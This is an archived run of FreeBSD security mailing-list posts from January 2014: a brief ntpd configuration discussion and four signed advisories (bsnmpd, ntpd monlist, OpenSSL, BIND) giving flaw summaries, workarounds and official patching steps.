X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 15:40:22 -0000 On Tue, 14 Jan 2014, Eugene Grosbein wrote: > On 14.01.2014 20:11, Dag-Erling Smørgrav wrote: >> Garrett Wollman writes: >>> For a "pure" client, I would suggest "restrict default ignore" ought >>> to be the norm. (Followed by entries to unrestrict localhost over v4 >>> and v6.) >> >> Pure clients shouldn't use ntpd(8). They should use sntp(8) or a >> lightweight NTP client like ttsntpd. > > $ man sntp > No manual entry for sntp > $ whereis sntp > sntp: /usr/sbin/sntp > > That's first time I see a reference to sntp(8) for FreeBSD > while using it since 2.2.5-RELEASE. > > Is it documented somewhere? sntp.1 is in contrib/ntp/sntp/, but it's never installed. From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 19:11:00 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A49B536C; Tue, 14 Jan 2014 19:11:00 +0000 (UTC) Received: from keltia.net (aran.keltia.net [88.191.250.24]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 6562215BC; Tue, 14 Jan 2014 19:10:59 +0000 (UTC) Received: from [192.168.1.18] (foret.keltia.net [78.232.116.160]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) (Authenticated sender: roberto) by keltia.net (Postfix) with ESMTPSA id 0AB5A52B2; Tue, 14 Jan 2014 20:11:04 +0100 (CET) From: "Ollivier Robert" To: "Karl Pielorz" Subject: Re: ntpd 4.2.4p8 - up to date? Date: Tue, 14 Jan 2014 20:10:55 +0100 Message-ID: <47C93A3E-7DFE-4093-BB31-3F3C67E5FED3@keltia.net> In-Reply-To: References: <7403C046ABF387E5061BC441@Mail-PC.tdx.co.uk> MIME-Version: 1.0 Content-Type: text/plain; format=flowed X-Mailer: MailMate Trial (1.7.2r3905) X-Mailman-Approved-At: Tue, 14 Jan 2014 19:25:20 +0000 Cc: freebsd-security@freebsd.org, Dimitry Andric X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 19:11:00 -0000 On 2 Nov 2013, at 20:24, Karl Pielorz wrote: > So as I'd kind of guessed - it's not really vanilla 4.2.4p8 that it's > running, it's based on 4.2.4p8 with additional patches that have been > applied by FreeBSD, to address the applicable notifications? Yes. From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 20:11:08 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id C11CF36D; Tue, 14 Jan 2014 20:11:08 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id A17311D9B; Tue, 14 Jan 2014 20:11:08 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.7/8.14.7) with ESMTP id s0EKB84I082600; Tue, 14 Jan 2014 20:11:08 GMT (envelope-from security-advisories@freebsd.org) Received: (from delphij@localhost) by freefall.freebsd.org (8.14.7/8.14.7/Submit) id s0EKB8nV082599; Tue, 14 Jan 2014 20:11:08 GMT (envelope-from security-advisories@freebsd.org) Date: Tue, 14 Jan 2014 20:11:08 GMT Message-Id: <201401142011.s0EKB8nV082599@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: delphij set sender to security-advisories@freebsd.org using -f From: FreeBSD Security Advisories To: FreeBSD Security Advisories Subject: FreeBSD Security Advisory FreeBSD-SA-14:01.bsnmpd Precedence: bulk X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Reply-To: freebsd-security@freebsd.org List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 20:11:08 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-14:01.bsnmpd Security Advisory The FreeBSD Project Topic: bsnmpd remote denial of service vulnerability Category: contrib Module: bsnmp Announced: 2014-01-14 Credits: Dirk Meyer Affects: All supported versions of FreeBSD. Corrected: 2014-01-14 19:02:14 UTC (stable/10, 10.0-PRERELEASE) 2014-01-14 19:10:38 UTC (releng/10.0, 10.0-RELEASE) 2014-01-14 19:10:38 UTC (releng/10.0, 10.0-RC5-p1) 2014-01-14 19:10:38 UTC (releng/10.0, 10.0-RC4-p1) 2014-01-14 19:10:38 UTC (releng/10.0, 10.0-RC3-p1) 2014-01-14 19:10:38 UTC (releng/10.0, 10.0-RC2-p1) 2014-01-14 19:10:38 UTC (releng/10.0, 10.0-RC1-p1) 2014-01-14 19:17:20 UTC (stable/9, 9.2-STABLE) 2014-01-14 19:42:28 UTC (releng/9.2, 9.2-RELEASE-p3) 2014-01-14 19:42:28 UTC (releng/9.1, 9.1-RELEASE-p10) 2014-01-14 19:17:20 UTC (stable/8, 8.4-STABLE) 2014-01-14 19:42:28 UTC (releng/8.4, 8.4-RELEASE-p7) 2014-01-14 19:42:28 UTC (releng/8.3, 8.3-RELEASE-p14) CVE Name: CVE-2014-1452 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . I. Background The bsnmpd is a simple and extensible SNMP daemon serves the Internet SNMP (Simple Network Management Protocol). II. Problem Description The bsnmpd(8) daemon is prone to a stack-based buffer-overflow when it has received a specifically crafted GETBULK PDU request. III. Impact This issue could be exploited to execute arbitrary code in the context of the service daemon, or crash the service daemon, causing a denial-of-service. IV. Workaround No workaround is available, but systems not running bsnmpd(8) are not vulnerable. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 2) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch http://security.FreeBSD.org/patches/SA-14:01/bsnmpd.patch # fetch http://security.FreeBSD.org/patches/SA-14:01/bsnmpd.patch.asc # gpg --verify bsnmpd.patch.asc b) Execute the following commands as root: # cd /usr/src # patch < /path/to/patch Recompile the operating system using buildworld and installworld as described in . Restart the bsnmpd(8) daemons, or reboot the system. 3) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install VI. Correction details The following list contains the correction revision numbers for each affected branch. Branch/path Revision - ------------------------------------------------------------------------- stable/8/ r260642 releng/8.3/ r260647 releng/8.4/ r260647 stable/9/ r260642 releng/9.1/ r260647 releng/9.2/ r260647 stable/10/ r260638 releng/10.0/ r260640 - ------------------------------------------------------------------------- To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed: # svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base Or visit the following URL, replacing NNNNNN with the revision number: VII. References The latest revision of this advisory is available at -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJS1ZS6AAoJEO1n7NZdz2rnDXwP/1iQmuO8VLjZoD3LMpiHyA/i YgwjX5x9XT2MyVrRmu+nHaCG3ZDC4/IV72/jCzV8udQJ1RF6Aswhuk6mXI7oatol OYF27JnRVAJQjAvXw3zMsp4hLv631TvgO1Az1vK7f1pX8bDC/eBTaiCH7I6QBYGS E4Fsi2MwOWIRyglTjlFSL8Wb2yQmzkKCx/EVFF/6mRC7l3a9pkHf5VKQtut1KYFu 5QF5cG5anur4daP4w45yWsl0qkRDO5mJdpD+S3NtzydluWzz/Dk/0laS5wB+LLzV cXC5/GR/acQhO+MvDIDT4Emra2OXzsheEahOJhLKHsBF8pHBi5IldkVwQmme76/g aR1gLSFJ5LYcpAgBQgeWKXXCAol5zNRCR8v8IBnV2+rYRSrIdl5lstgVmla++xJD +bC7PbTqcLlyFGrMEvd/mAvX1PVa9BVYtaxXA5QZq5EHP7nsKotcAk7/kouVfmao Gdxlt7YjRic6D/WqF8RFiQv9ezpbEnMQ1BwOCSUEJasXlyxJXYA6vva7tyM3OmyD c2I9JLeV8aCUgIf3s+HoGcZhz01kmu9REQ/OEDtiN8kX94WOzpectf8V5g+JnxRd HoOfcvrChohL4nla+3RvG1LJo5KD5N09yHnV2y3LjxTdKu9Hw4ATzFwmPmEUqUfG eF12aO4PVp42wYWNHtGe =xZTc -----END PGP SIGNATURE----- From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 20:11:13 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 25A98371; Tue, 14 Jan 2014 20:11:13 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 0F9CF1D9F; Tue, 14 Jan 2014 20:11:13 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.7/8.14.7) with ESMTP id s0EKBCYP082634; Tue, 14 Jan 2014 20:11:12 GMT (envelope-from security-advisories@freebsd.org) Received: (from delphij@localhost) by freefall.freebsd.org (8.14.7/8.14.7/Submit) id s0EKBC8v082633; Tue, 14 Jan 2014 20:11:12 GMT (envelope-from security-advisories@freebsd.org) Date: Tue, 14 Jan 2014 20:11:12 GMT Message-Id: <201401142011.s0EKBC8v082633@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: delphij set sender to security-advisories@freebsd.org using -f From: FreeBSD Security Advisories To: FreeBSD Security Advisories Subject: FreeBSD Security Advisory FreeBSD-SA-14:02.ntpd Precedence: bulk X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Reply-To: freebsd-security@freebsd.org List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 20:11:13 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-14:02.ntpd Security Advisory The FreeBSD Project Topic: ntpd distributed reflection Denial of Service vulnerability Category: contrib Module: ntpd Announced: 2014-01-14 Affects: All supported versions of FreeBSD. Corrected: 2014-01-14 19:04:33 UTC (stable/10, 10.0-PRERELEASE) 2014-01-14 19:12:40 UTC (releng/10.0, 10.0-RELEASE) 2014-01-14 19:12:40 UTC (releng/10.0, 10.0-RC5-p1) 2014-01-14 19:12:40 UTC (releng/10.0, 10.0-RC4-p1) 2014-01-14 19:12:40 UTC (releng/10.0, 10.0-RC3-p1) 2014-01-14 19:12:40 UTC (releng/10.0, 10.0-RC2-p1) 2014-01-14 19:12:40 UTC (releng/10.0, 10.0-RC1-p1) 2014-01-14 19:20:41 UTC (stable/9, 9.2-STABLE) 2014-01-14 19:42:28 UTC (releng/9.2, 9.2-RELEASE-p3) 2014-01-14 19:42:28 UTC (releng/9.1, 9.1-RELEASE-p10) 2014-01-14 19:20:41 UTC (stable/8, 8.4-STABLE) 2014-01-14 19:42:28 UTC (releng/8.4, 8.4-RELEASE-p7) 2014-01-14 19:42:28 UTC (releng/8.3, 8.3-RELEASE-p14) CVE Name: CVE-2013-5211 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . I. Background The ntpd(8) daemon is an implementation of the Network Time Protocol (NTP) used to synchronize the time of a computer system to a reference time source. II. Problem Description The ntpd(8) daemon supports a query 'monlist' which provides a history of recent NTP clients without any authentication. III. Impact An attacker can send 'monlist' queries and use that as an amplification of a reflection attack. IV. Workaround The administrator can implement one of the following possible workarounds to mitigate the attack: 1) Restrict access to ntpd(8). This can be done by adding the following lines to /etc/ntp.conf: restrict -4 default nomodify nopeer noquery notrap restrict -6 default nomodify nopeer noquery notrap restrict 127.0.0.1 restrict -6 ::1 restrict 127.127.1.0 And restart the ntpd(8) daemon. Time service is not affected and the administrator can still perform queries from local host. 2) Use IP based restrictions in ntpd(8) itself or in IP firewalls to restrict which systems can access ntpd(8). 3) Replace the base system ntpd(8) with net/ntp-devel (version 4.2.7p76 or newer) V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 2) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch http://security.FreeBSD.org/patches/SA-14:02/ntpd.patch # fetch http://security.FreeBSD.org/patches/SA-14:02/ntpd.patch.asc # gpg --verify ntpd.patch.asc b) Execute the following commands as root: # cd /usr/src # patch < /path/to/patch Recompile the operating system using buildworld and installworld as described in . Restart the ntpd(8) daemon, or reboot the system. 3) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install Note that the patch would disable monitoring features of ntpd(8) daemon by default. If the feature is desirable, the administrator can choose to enable it and firewall access to ntpd(8) service. VI. Correction details The following list contains the correction revision numbers for each affected branch. Branch/path Revision - ------------------------------------------------------------------------- stable/8/ r260641 releng/8.3/ r260647 releng/8.4/ r260647 stable/9/ r260641 releng/9.1/ r260647 releng/9.2/ r260647 stable/10/ r260639 releng/10.0/ r260641 - ------------------------------------------------------------------------- To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed: # svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base Or visit the following URL, replacing NNNNNN with the revision number: VII. References The latest revision of this advisory is available at -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJS1ZTLAAoJEO1n7NZdz2rnn7YP/2DcBtR4LAlMLqa9t8WsFVrD zrfmitYv5xZ6TUGURfQ3mhF4Xv+vSaYt5AWphBjo/Um+dZLTrX3NXJyjLWenCFZ1 vUgoeT4czdh/sWXBO+BdahswttJ6uPO0ZPeW/TpczHMrfG++r6FZtcavYj1gWUPX rQUEh3IRT5MzzcdiIdQFOpi6OeOP7hem5pNOqYwjyy4L4wrgIUetaMpvqXgi2Wa+ R2vqQNpFAPxKkMkbohLEPRmEK9dXGXejQ7EHFK5jzxInyg32WGFPkJ46bLw3bEsB sIoh+sxQ3J9mxyaykhX6T7U7PUkzBaNSs62bQE5H8695E30obnZqtfon6qBP5UCT /kF1+42RIQIPJUFS22NXaUJVOkpd2zyVhwLxgCHg96PHwd1VAC0bnuB4CQt8lN2C vcOsFcq6CUpMuteURBeiETb0OGWTTT3gyX4T7N4kRKptvmEVUKxZPnmfJCwNHM2I TzM2HbHaBv9CMIy5X4iDQxLH3w3tSh+IHU6m9cN5rd6JDTa5DQEuRkhaeVbCGHRt EcSHvUCr+llacITA2rkm1/KPcP97nGgbbM2QbbUVZ/vkdEcImPfrBzrBbaoBzf5p FTplhJ/4bfF0/Kgt5GTNgQXqtIuEQOs+ljNu2HW+cAfX2Hizlo7jjfMxS0y7/fY2 hBdg8zuXs/rBI2LKUcP6 =7q6W -----END PGP SIGNATURE----- From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 20:11:16 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id A2314494; Tue, 14 Jan 2014 20:11:16 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 8516E1DF7; Tue, 14 Jan 2014 20:11:16 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.7/8.14.7) with ESMTP id s0EKBGU6082671; Tue, 14 Jan 2014 20:11:16 GMT (envelope-from security-advisories@freebsd.org) Received: (from delphij@localhost) by freefall.freebsd.org (8.14.7/8.14.7/Submit) id s0EKBGZH082667; Tue, 14 Jan 2014 20:11:16 GMT (envelope-from security-advisories@freebsd.org) Date: Tue, 14 Jan 2014 20:11:16 GMT Message-Id: <201401142011.s0EKBGZH082667@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: delphij set sender to security-advisories@freebsd.org using -f From: FreeBSD Security Advisories To: FreeBSD Security Advisories Subject: FreeBSD Security Advisory FreeBSD-SA-14:03.openssl Precedence: bulk X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Reply-To: freebsd-security@freebsd.org List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 20:11:16 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-14:03.openssl Security Advisory The FreeBSD Project Topic: OpenSSL multiple vulnerabilities Category: contrib Module: openssl Announced: 2014-01-14 Affects: FreeBSD 10.0 prior to 10.0-RC5 Corrected: 2014-01-07 20:04:41 UTC (stable/10, 10.0-PRERELEASE) 2014-01-07 20:06:20 UTC (releng/10.0, 10.0-RC5) 2014-01-07 20:06:20 UTC (releng/10.0, 10.0-RC4-p1) 2014-01-07 20:06:20 UTC (releng/10.0, 10.0-RC3-p1) 2014-01-07 20:06:20 UTC (releng/10.0, 10.0-RC2-p1) 2014-01-07 20:06:20 UTC (releng/10.0, 10.0-RC1-p1) CVE Name: CVE-2013-4353, CVE-2013-6449, CVE-2013-6450 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . I. Background FreeBSD includes software from the OpenSSL Project. The OpenSSL Project is a collaborative effort to develop a robust, commercial-grade, full-featured Open Source toolkit implementing the Secure Sockets Layer (SSL v2/v3) and Transport Layer Security (TLS v1) protocols as well as a full-strength general purpose cryptography library. II. Problem Description A carefully crafted invalid TLS handshake could crash OpenSSL with a NULL pointer exception. [CVE-2013-4353] A flaw in DTLS handling can cause an application using OpenSSL and DTLS to crash. [CVE-2013-6450] A flaw in OpenSSL can cause an application using OpenSSL to crash when using TLS version 1.2. [CVE-2013-6449] III. Impact An attacker can send a specifically crafted packet that could cause an OpenSSL enabled application to crash, resulting in a Denial of Service. IV. Workaround No workaround is available. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 2) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. # fetch http://security.FreeBSD.org/patches/SA-14:03/openssl.patch # fetch http://security.FreeBSD.org/patches/SA-14:03/openssl.patch.asc # gpg --verify openssl.patch.asc b) Execute the following commands as root: # cd /usr/src # patch < /path/to/patch Recompile the operating system using buildworld and installworld as described in . Restart all deamons using the library, or reboot the system. 3) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install VI. Correction details The following list contains the correction revision numbers for each affected branch. Branch/path Revision - ------------------------------------------------------------------------- stable/10/ r260404 releng/10.0/ r260405 - ------------------------------------------------------------------------- To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed: # svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base Or visit the following URL, replacing NNNNNN with the revision number: VII. References The latest revision of this advisory is available at -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJS1ZTSAAoJEO1n7NZdz2rnHboP/Ryb4a9ENJ7J/S00E8V1YToh hihrCKssMl6GVltS4oeyAmAW+mDx3DZy+RmAEhgjyAX4gpAxcY/g665j5BMtWAtV LLJTI9D6ynO7+2y8CeD3W7tk28hNtBPWSV+cGi7USQMKijs6euPocgTU7TnAuF/e /jcDTn8Sx/Sq0d3ecTWFBOcPHiq5sm/3pW5B1RVxY9DL+zhQ7T/Rb6pgfp6trssM p8dklzoBReHqs1iPUC4RyhWXOoQoq5VX500b9SHh2X/7eBSq1ab76VF3x+9VOpjj VRxL9sdkmp+iaVfMHxms3vCLSDlmpgYpq5SftL3jgkequPCpU6NFQGFQKw2crdL0 NY7dDPjMuvDzzdG7BZtt1mjpRMMMGmZ7fK0myP0+a3YbXEEZeAGT6k07er/xkGCr uTWyPNM4g3Ulwkfnz60TbFrdMdiCJbRVC9xxOkGEALe882v0WWGPhx9IVbT3dGVw KGFOXM+IqF55JuaHQ0u/B4wrjBfgBSgOt90TDyMJ5rPjiKG9wyUWnn7QziAVJQ0M 0H/82/2cxNX5+efWNi7xhss2fs1zcU3kiyr135mqamgOQyPG8jFOF7RhdpeGfzVk ollQG+y1uwVTAWhmVb4MSaAuJw8ixVuap73Rbyug+MuKRLgR2jSxHFiBeiHLA1eG 1+DWJPX0+/zoNakLiw+r =YOCY -----END PGP SIGNATURE----- From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 20:11:19 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id B145275B; Tue, 14 Jan 2014 20:11:19 +0000 (UTC) Received: from freefall.freebsd.org (freefall.freebsd.org [IPv6:2001:1900:2254:206c::16:87]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 9412B1DFC; Tue, 14 Jan 2014 20:11:19 +0000 (UTC) Received: from freefall.freebsd.org (localhost [127.0.0.1]) by freefall.freebsd.org (8.14.7/8.14.7) with ESMTP id s0EKBJ1u082707; Tue, 14 Jan 2014 20:11:19 GMT (envelope-from security-advisories@freebsd.org) Received: (from delphij@localhost) by freefall.freebsd.org (8.14.7/8.14.7/Submit) id s0EKBJpj082706; Tue, 14 Jan 2014 20:11:19 GMT (envelope-from security-advisories@freebsd.org) Date: Tue, 14 Jan 2014 20:11:19 GMT Message-Id: <201401142011.s0EKBJpj082706@freefall.freebsd.org> X-Authentication-Warning: freefall.freebsd.org: delphij set sender to security-advisories@freebsd.org using -f From: FreeBSD Security Advisories To: FreeBSD Security Advisories Subject: FreeBSD Security Advisory FreeBSD-SA-14:04.bind Precedence: bulk X-BeenThere: freebsd-security@freebsd.org X-Mailman-Version: 2.1.17 Reply-To: freebsd-security@freebsd.org List-Id: "Security issues \[members-only posting\]" List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 14 Jan 2014 20:11:19 -0000 -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 ============================================================================= FreeBSD-SA-14:04.bind Security Advisory The FreeBSD Project Topic: BIND remote denial of service vulnerability Category: contrib Module: bind Announced: 2014-01-14 Credits: ISC Affects: FreeBSD 8.x and FreeBSD 9.x Corrected: 2014-01-14 19:38:37 UTC (stable/9, 9.2-STABLE) 2014-01-14 19:42:28 UTC (releng/9.2, 9.2-RELEASE-p3) 2014-01-14 19:42:28 UTC (releng/9.1, 9.1-RELEASE-p10) 2014-01-14 19:38:37 UTC (stable/8, 8.4-STABLE) 2014-01-14 19:42:28 UTC (releng/8.4, 8.4-RELEASE-p7) 2014-01-14 19:42:28 UTC (releng/8.3, 8.3-RELEASE-p14) CVE Name: CVE-2014-0591 For general information regarding FreeBSD Security Advisories, including descriptions of the fields above, security branches, and the following sections, please visit . I. Background BIND 9 is an implementation of the Domain Name System (DNS) protocols. The named(8) daemon is an Internet Domain Name Server. II. Problem Description Because of a defect in handling queries for NSEC3-signed zones, BIND can crash with an "INSIST" failure in name.c when processing queries possessing certain properties. This issue only affects authoritative nameservers with at least one NSEC3-signed zone. Recursive-only servers are not at risk. III. Impact An attacker who can send a specially crafted query could cause named(8) to crash, resulting in a denial of service. IV. Workaround No workaround is available, but systems not running authoritative DNS service with at least one NSEC3-signed zone using named(8) are not vulnerable. V. Solution Perform one of the following: 1) Upgrade your vulnerable system to a supported FreeBSD stable or release / security branch (releng) dated after the correction date. 2) To update your vulnerable system via a source code patch: The following patches have been verified to apply to the applicable FreeBSD release branches. a) Download the relevant patch from the location below, and verify the detached PGP signature using your PGP utility. [FreeBSD 8.3, 8.4, 9.1, 9.2-RELEASE and 8.4-STABLE] # fetch http://security.FreeBSD.org/patches/SA-14:04/bind-release.patch # fetch http://security.FreeBSD.org/patches/SA-14:04/bind-release.patch.asc # gpg --verify bind-release.patch.asc [FreeBSD 9.2-STABLE] # fetch http://security.FreeBSD.org/patches/SA-14:04/bind-stable-9.patch # fetch http://security.FreeBSD.org/patches/SA-14:04/bind-stable-9.patch.asc # gpg --verify bind-stable-9.patch.asc b) Execute the following commands as root: # cd /usr/src # patch < /path/to/patch Recompile the operating system using buildworld and installworld as described in . Restart the applicable daemons, or reboot the system. 3) To update your vulnerable system via a binary patch: Systems running a RELEASE version of FreeBSD on the i386 or amd64 platforms can be updated via the freebsd-update(8) utility: # freebsd-update fetch # freebsd-update install VI. Correction details The following list contains the correction revision numbers for each affected branch. Branch/path Revision - ------------------------------------------------------------------------- stable/8/ r260646 releng/8.3/ r260647 releng/8.4/ r260647 stable/9/ r260646 releng/9.1/ r260647 releng/9.2/ r260647 - ------------------------------------------------------------------------- To see which files were modified by a particular revision, run the following command, replacing NNNNNN with the revision number, on a machine with Subversion installed: # svn diff -cNNNNNN --summarize svn://svn.freebsd.org/base Or visit the following URL, replacing NNNNNN with the revision number: VII. References The latest revision of this advisory is available at -----BEGIN PGP SIGNATURE----- iQIcBAEBCgAGBQJS1ZTYAAoJEO1n7NZdz2rnOvQP/2/68/s9Cu35PmqNtSZVVxVG ZSQP5EGWx/lramNf9566iKxOrLRMq/h3XWcC4goVd+gZFrvITJSVOWSa7ntDQ7TO XcinfRZ/iyiJbs/Rg2wLHc/t5oVSyeouyccqODYFbOwOlk35JjOTMUG1YcX+Zasg ax8RV+7Zt1QSBkMlOz/myBLXUjlTZ3Xg2FXVsfFQW5/g2CjuHpRSFx1bVNX6ysoG 9DT58EQcYxIS8WfkHRbbXKh9I1nSfZ7/Hky/kTafRdRMrjAgbqFgHkYTYsBZeav5 fYWKGQRJulYfeZQ90yMTvlpF42DjCC3uJYamJnwDIu8OhS1WRBI8fQfr9DRzmRua OK3BK9hUiScDZOJB6OqeVzUTfe7MAA4/UwrDtTYQ+PqAenv1PK8DZqwXyxA9ThHb zKO3OwuKOVHJnKvpOcr+eNwo7jbnHlis0oBksj/mrq2P9m2ueF9gzCiq5Ri5Syag Wssb1HUoMGwqU0roS8+pRpNC8YgsWpsttvUWSZ8u6Vj/FLeHpiV3mYXPVMaKRhVm 067BA2uj4Th1JKtGleox+Em0R7OFbCc/9aWC67wiqI6KRyit9pYiF3npph+7D5Eq 7zPsUdDd+qc+UTiLp3liCRp5w6484wWdhZO6wRtmUgxGjNkxFoNnX8CitzF8AaqO UWWemqWuz3lAZuORQ9KX =OQzQ -----END PGP SIGNATURE----- From owner-freebsd-security@FreeBSD.ORG Tue Jan 14 21:25:48 2014 Return-Path: Delivered-To: freebsd-security@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 5D45F4FC for ; Tue, 14 Jan 2014 21:25:48 +0000 (UTC) Received: from out3-smtp.messagingengine.com (out3-smtp.messagingengine.com [66.111.4.27]) (using TLSv1.2 with cipher AECDH-AES256-SHA (256/256 bits)) (No client certificate requested) by mx1.freebsd.org (Postfix) with ESMTPS id 252FD1AA9 for ; Tue, 14 Jan 2014 21:25:47 +0000 (UTC) Received: from compute5.internal (compute5.nyi.mail.srv.osa [10.202.2.45]) by gateway1.nyi.mail.srv.osa (Postfix) with ESMTP id D7C9A20A32 for ; Tue, 14 Jan 2014 16:25:46 -0500 (EST) Received: from frontend1 ([10.202.2.160]) by compute5.internal (MEProxy); Tue, 14 Jan 2014 16:25:46 -0500 DKIM-Signature: v=1; a=rsa-sha1; c=relaxed/relaxed; d= messagingengine.com; h=from:content-type:subject:message-id:date :to:mime-version; s=smtpout; bh=fYV1fSbUnZf7iRVASSdov9Zbp6c=; b= id5r8SoFUVft/V3UI9exhTKp/ywNMztzQkDZVu2+xA29bIebIaBN015GwN+vvzMS v3YVeaZ68IguG6ZgARDkW4gJTvqZEemzmmlqB7Sjm/yNUe8pPTUDLf2UNW2HeELg tVzGZ0d/OqSMu1cYt3bk6tVxHc+vF1Ug0OEpZdDlRRY= X-Sasl-enc: 